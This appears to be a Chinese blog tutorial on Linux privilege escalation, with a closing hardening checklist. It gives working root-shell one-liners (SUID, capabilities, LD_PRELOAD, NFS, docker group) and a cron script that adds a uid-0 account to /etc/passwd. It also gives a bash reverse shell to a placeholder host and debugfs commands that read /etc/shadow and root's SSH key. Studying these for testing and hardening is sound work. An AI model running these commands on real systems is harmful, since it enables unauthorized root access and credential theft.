首页 > 系统相关 >Linux提权

Linux提权

时间:2023-10-05 17:44:40浏览次数:36  
标签:bin 文件 sudo 提权 Linux 权限 root

Linux提权

测试思路

  1. 命令uname -a查看内核版本,searchsploit搜索一下内核版本查看有无内核漏洞

  2. 命令sudo -l查看sudo提权

  3. cat /etc/crontab;利用find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null命令查看可写文件或目录

  4. 利用find / -type f -perm -04000 -ls 2>/dev/null查看SUID权限的工具

    find / -uid 0 -perm -6000 -type f 2>/dev/null;该命令用于在 Linux 系统中查找具有设置了 Setuid 或 Setgid 位的文件,并且所有者为 root 用户,以普通文件的形式显示它们。

  5. 识别nfs共享,可以利用nmap工具或rpcinfo等工具

  6. config信息搜集:find / ! -path "/proc/" -iname "config" -type f 2>/dev/null

使用环境变量进行提权

前置知识

首先要知Linux的PATH变量,我感觉和windows的环境变量是一样的,在任意位置执行命令时会从$PATH的路径中查找可执行文件。

输入echo $PATH可以查看环境变量,一般会有../../../bin。

image-20230912150103138

需要注意的是如果环境变量中带有".",则意味着可以在当前目录中查找可执行文件,在当前目录就不用加上./执行文件了

前提条件:

  1. 需要找到的文件具有SUID权限
  2. 该文件调用了某命令

流程

  1. 查看系统具有SUID或4000权限的文件

    find / -perm -u=s -type f 2>/dev/null
    
  2. 找到并运行提权目标文件,查看指令

    image-20230912182947995

  3. 确定目标指令后,建立一个虚假的环境变量,该环境变量实际导向/bin/sh

    cd /tmp
    echo "/bin/sh" >sudo
    chmod 777 sudo
    echo $PATH
    export PATH=/tmp:$PATH
    cd 具有SUID权限文件路径
    ./文件名
    whoami
    

内核提权

脏牛提权(CVE-2016–5195)

原理

Linux内核子系统在进行Copy-in-write时存在条件竞争,破坏私有只读内存映射,导致低权限用户对其他只读内存映射有写权限。

影响范围

内核版本

Linux kernel >= 2.6.22

发行版本

Centos7/RHEL7     3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10      4.8.0-26.28
Ubuntu 16.04      4.4.0-45.66
Ubuntu 14.04      3.13.0-100.147
Debian 8          3.16.36-1+deb8u2
Debian 7          3.2.82-1
工具使用

https://github.com/gbonacini/CVE-2016-5195

https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

https://github.com/jondonas/linux-exploit-suggester-2

sudo提权

原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

在sudoers中增加以下内容,可以使用户user_test可以从任何终端运行,以root用户身份运行命令find 而无需密码。

user_test ALL = (root) NOPASSWD: /usr/bin/find

利用

  1. 使用sudo -l查看可利用的sudo权限工具

  2. 在https://gtfobins.github.io/搜索对应的工具名称,利用页面中的提示进行提权

suid提权

当运行一个程序时,我们需要拥有运行该程序的权限,比如apt-get install。但有些程序例外,例如ping,ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:Set owner User ID up on execution

root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping

原理

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。(前提是这个程序的所有者是root用户)

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

  • Real UID 执行该进程的用户实际的UID
  • Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
  • Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

利用

  1. 使用命令查看本机中拥有suid权限的程序文件:find / -user root -perm -4000 -print 2>/dev/null
  2. 利用工具查询可利用的程序文件

sudo与suid权限的区别:

sudo 和 Setuid 权限(SUID)都可以使普通用户以特权权限执行程序,但它们之间存在一些关键区别:

特权范围:SUID 权限作用于单个可执行文件,并在执行该文件时赋予执行者与文件所有者相同的特权。这意味着文件的拥有者权限将用于执行,不论执行者是谁。而 sudo 允许管理员使用配置文件中定义的规则,对选择的命令或脚本进行精确控制,只在需要时提供超级用户权限。

配置和授权:设置 SUID 权限需要更改文件的权限位,并选择性地为文件分配 SUID 标志。只有文件所有者可以设置和删除 SUID 权限。而 sudo 的使用可以通过系统管理员配置,允许授权的用户执行特定的命令,并且可以按照需要控制和修改这些授权。

安全性:由于 SUID 权限应用于整个文件,必须非常小心确保所设置的文件不会导致潜在的安全漏洞。因为执行者运行的代码具有特权级别的访问权限,滥用或不当配置可能会导致系统被攻击者利用。相比之下,sudo 具有更细粒度的控制,可以限制用户可执行的命令及其参数,提供了更高的安全性。

总而言之,SUID 权限适用于静态文件,并以文件所有者特权运行程序,而 sudo 提供了动态和灵活的权限管理方式,对命令和脚本执行进行精确控制,可避免一些常见的安全问题。在实践中,推荐使用 sudo 作为较好的特权执行方案,并恰当地配置和监督其使用。

举个例子:

image-20230930224958949

Capabilities提权

Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。

  1. 利用getcap -r / 2>/dev/null查看设置了capabilities的可执行文件

  2. 利用命令提权,可以参考GTFOBins(有些命令不适合所有终端)

    # gbd的利用方法
    ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
    
    #node的利用方法
    ./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
    
    #perl的利用方法
    ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    
    #php的利用方法
    ./php -r "posix_setuid(0); system('/bin/sh');"
    
    #pythond的利用方法
    ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
    
    #ruby的利用方法
    ./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
    
    #rview的利用方法
    ./rview -c ':lua os.execute("reset; exec sh")'
    
    #rvim的利用方法
    ./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
    
    #view的利用方法
    ./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
    
    #vim的利用方法
    ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
    
    #vimdiff的利用方法
    ./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
    

计划任务提权

定时任务(cron job)是Linux系统中的一个守护进程,用于调度重复任务,通过配置crontab可以让系统周期性地执行某些命令或者脚本。cron 是 Linux 系统中最为实用的工具之一,但是也可能被黑客用于提权操作。由于cron通常以root特权运行,如果我们可以修改其调度的任何脚本或二进制文件,那么便可以使用root权限执行任意代码。本文首先配置一个定时任务,然后利用该任务进行提权。

示例1

查看crontab文件:cat /etc/crontab,发现存在定时任务,以root身份定时运行/home/ubuntu/test.py。而test.py文件是任意成员可写的,于是向其代码尾部追加以下内容:

import os
import sys
import stat

try:
	os.chmod(“/etc/passwd”,stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO) # 将passwd文件权限设置为任意成员可写
except:
	sys.exit()

生成hash

 perl -le ‘print crypt(“hack”,“addedsalt”)’
 adCP9//qaScc2

写入passwd

hack:adCP9//qaScc2:0:0:User_like_root:/root:/bin/bash

示例2

修改可执行的bash或sh文件

#!/bin/bash
/bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1

nfs提权

网络文件系统(NFS)是一个客户端 / 服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储(NAS)之一。

NFS 是基于 UDP/IP 协议的应用,其实现主要是采用远程过程调用 RPC 机制,RPC 提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC 采用了 XDR 的支持。XDR 是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

利用先遣条件:no_root_squash选项得开启

  1. 识别nfs共享,可以利用nmap工具或rpcinfo等工具

    nmap -sV -p111,2049 IP
    #nmap扫描nfs的常用端口111和2049
    rpcinfo -p 192.168.1.171
    #rpcinfo直接枚举nfs
    
    • 检查nfs配置文件/etc/exports,检查开启的nsf共享目录和no_root_squash选项设置

    • 利用metasploit或showmount列举目标主机的可用nfs exports

      msf > use auxiliary/scanner/nfs/nfsmount
      msf auxiliary(nfsmount) > set rhosts IP
      msf auxiliary(nfsmount) > run
      
      showmount -e IP
      
  2. 挂载nfs exports

    sudo mount -o [options] -t nfs ip_address:share directory_to_mount
    
  3. 编写脚本,写入想执行的命令。可以是/bin/bash或C语言等脚本

    例子:

    • C语言脚本

      #include<unistd.h>
      void main()
      {
              setuid(0);
              setgid(0);
              system("/bin/bash");
      }
      
    • python脚本

      /usr/bin/python3
      
      import os
      import sys
      
      try: 
              os.system("/bin/bash")
      except:
              sys.exit()
      
  4. chmod +s 文件添加suid权限

特权组提权

Docker提权

docker组的本质就是无密码root身份访问主机文件

利用命令docker run -v /root:/mnt -it ubuntu可以创建一个新的docker实例,以主机的/root目录作为系统卷启动。

容器启动后可以查看该目录内容或添加ssh密钥,更改为其他目录均可,可以结合/etc/shadow破解或添加sudoers等。

Disk提权

Disk组用户对/dev目录具有root权限

利用debugfs -rw /dev/sda2可以利用debugfs的root权限访问文件系统

debugfs -rw /dev/sda2
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

ADM提权

ADM组在Linux中用于系统监控任务,组内的用户可以读取/var/log的日志文件。

主要用来收集存储在日志文件中的敏感数据或枚举用户操作和运行 CronJobs。

共享库提权

Linux 程序通常使用动态链接的共享对象库。库包含已编译的代码或开发人员用来避免跨多个程序重写相同的代码段的其他数据。Linux 中存在两种类型的库:(static libraries由 .a 文件扩展名表示)和dynamically linked shared object libraries(由 .so 文件扩展名表示)。编译程序时,静态库成为程序的一部分,无法更改。但是,可以修改动态库以控制调用它们的程序的执行。

有多种方法可以指定动态库的位置,因此系统将知道在程序执行时在哪里查找它们。这包括编译程序时的-rpathor-rpath-link标志,使用环境变量LD_RUN_PATHor LD_LIBRARY_PATH,将库放置在/libor/usr/lib默认目录中,或者在/etc/ld.so.conf配置文件中指定包含库的另一个目录。

此外,LD_PRELOAD环境变量可以在执行二进制文件之前加载库。此库中的函数优先于默认函数。

提权的先遣条件,被劫持的命令或程序必须具有较高的权限(以root运行、SUID或SUDO等)。同时在/etc/sudoers文件中需要定义env_keep+=LD_PRELOAD

  1. 确认一个可以用高权限执行的程序或命令

  2. 编写脚本,c语言等

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    
    void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
    }
    

    对其编译为.so动态文件,gcc -fPIC -shared -o root.so root.c -nostartfiles

  3. 高权限运行程序或命令,指定对应的恶意文件库,sudo LD_PRELOAD=/tmp/root.so 程序或命令

Linux的加固

更新和补丁

老版本的Linux内核和内置命令或第三方服务,通常存在利用条件简单的提权漏洞。对这些服务的定期更新和删除使用会避免一部分提权行为。

配置管理

  1. 自查主机内的可写文件、目录和使用SUID、SGID设置的可执行文件
  2. 确保所有的CronJob和sudo权限的分配都使用绝对路径指定可执行文件
  3. 不将任何凭证以明文方式存储在低权限用户可读的文件中
  4. 及时清理目录的文件和bash历史
  5. 确保低权限用户不能修改程序调用的任何自定义共享库
  6. 删除任何可能增加攻击面的软件和服务

用户管理

  1. 限制主机用户和管理员账户的数量
  2. 记录和监控对于登陆的尝试,无论成功与否
  3. 利用PAM模块的/etc/security/opasswd执行强密码策略、定期更换密码和限制用户重复使用旧密码操作。
  4. 避免用户被分配到日常任务所不必需的权限组,尽可能以最小权限原则分配限制sudo权限
  5. 便于管理可以使用自动化配置管理工具等

参考链接:

https://xz.aliyun.com/t/11664#toc-3

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

https://www.cnblogs.com/f-carey/p/16026088.html

https://blog.nsfocus.net/linux/

标签:bin,文件,sudo,提权,Linux,权限,root
From: https://www.cnblogs.com/vitara/p/17743673.html

相关文章

  • 【Linux笔记】tar——压缩与解压
    #【Linux笔记】tar——压缩与解压打包与压缩打包文件(生成新的tar文件):tar-cfnewTar.tarfile.txt打包并压缩文件(生成新的.tar.gz文件):tar-zcfnewTar.tar.gzfile.txt注:打包和压缩是不一样的概念gzip这种压缩方式默认只能压缩一个文件,所以当有多个文件需要压缩时,就......
  • Unix/Linux系统编程第七八章
    第七章文件操作7.1文件操作级别文件操作分为五个级别(1)硬件级别:fdisk:将硬盘、U盘或SDC盘分区。mkfs:格式化磁盘分区,为系统做好准备。fsck:检查和维修系统。碎片整理:压缩文件系统中的文件。(2)操作系统内核中的文件系统函数:每个操作系统内核均可为基本文件操作提......
  • linux服务器关闭ipv6
    现在ipv6越来越普及,但仍然有很多网站不支持,有时候服务器开启了ipv6,默认会通过ipv6的出口请求访问,可能会造成访问慢,api接口ip受限等问题,所以有时候反而需要关闭ipv6,ssh登陆到服务器,复制以下命令回车执行即可关闭。wget -O disable_ipv6.sh http://downinfo.myhostadmin.net/vps......
  • 多IP应用云主机切换出口IP地址[Linux系统教程]
    1.查看外网网卡设备和网关执行命令: iprouteshow2.更换出口ip为 211.149.140.130执行命令:iproutechangedefaultvia 211.149.140.1 dev eth0 src 211.149.140.1303.查看结果执行命令: iprouteshow......
  • NOI Linux 使用
    转载自这里一、Linux的基本操作(命令行)打开命令行在NoiLinux中可以使用快捷键Ctrl+Alt+T打开命令行终端Linux的目录Linux是没有Windows下硬盘分区的概念的,所有设备均会被挂载到一个统一的文件系统,Linux下的目录有两种:绝对目录:相对于文件系统的根目录/......
  • linux 进程切换和线程切换
    进程切换分两步:1.切换页目录以使用新的地址空间2.切换内核栈和硬件上下文对于linux来说,线程和进程的最大区别就在于地址空间,对于线程切换,第1步是不需要做的,第2是进程和线程切换都要做的。切换的性能消耗:1、线程上下文切换和进程上下问切换一个最主要的区别是线程的切换虚拟内......
  • Linux命令
    1.文件相关lsll显示目录中文件及其属性信息mkdirname:创建目录cp源文件名目标文件名:复制mv源文件名目标文件名:移动文件unzipname.zip:解压2.文件查看tail[参数]文件名:查看文件尾部内容参数:-f持续显示文件尾部最新内容-n设置显示文件尾部的行数vi......
  • linux 执行脚本报错 No such file or directory (转)
    windows下编辑的脚本,拿到linux上面执行windows下的换行符为\r\n ,叫做CRLF      linux下的换行符为\n,叫做LF需要进行转换 解决办法:用vim打开该sh文件,输入::setff 回车,显示fileformat=dos,重新设置下文件格式::setff=unix 保存退出 转自: https://www......
  • Linux运维学习笔记
    此笔记为学习https://www.bilibili.com/video/BV1nW411L7xm/?vd_source=3f851e85e66ef33269a2eefee664cec2的学习记录,目前持续更新中,希望能找到运维的实习吖 O(≧▽≦)OLinux的终端终端组成部分Linux关机命令shoutdown-hnow(正常关机)halt(关闭内存)init0使用VMware备......
  • Linux网络编程
    http请求主要是客户端B/S都是http协议,一种数据包格式服务器端做出响应 get请求不用提交数据,post需要请求行分为三部分 请求方式get是静态资源请求,这个刚代表资源目录,随便那个目录,而不是服务器的根目录第三个是协议版本,现在一般都是1.1版本看不见的?R/n一定要注意get......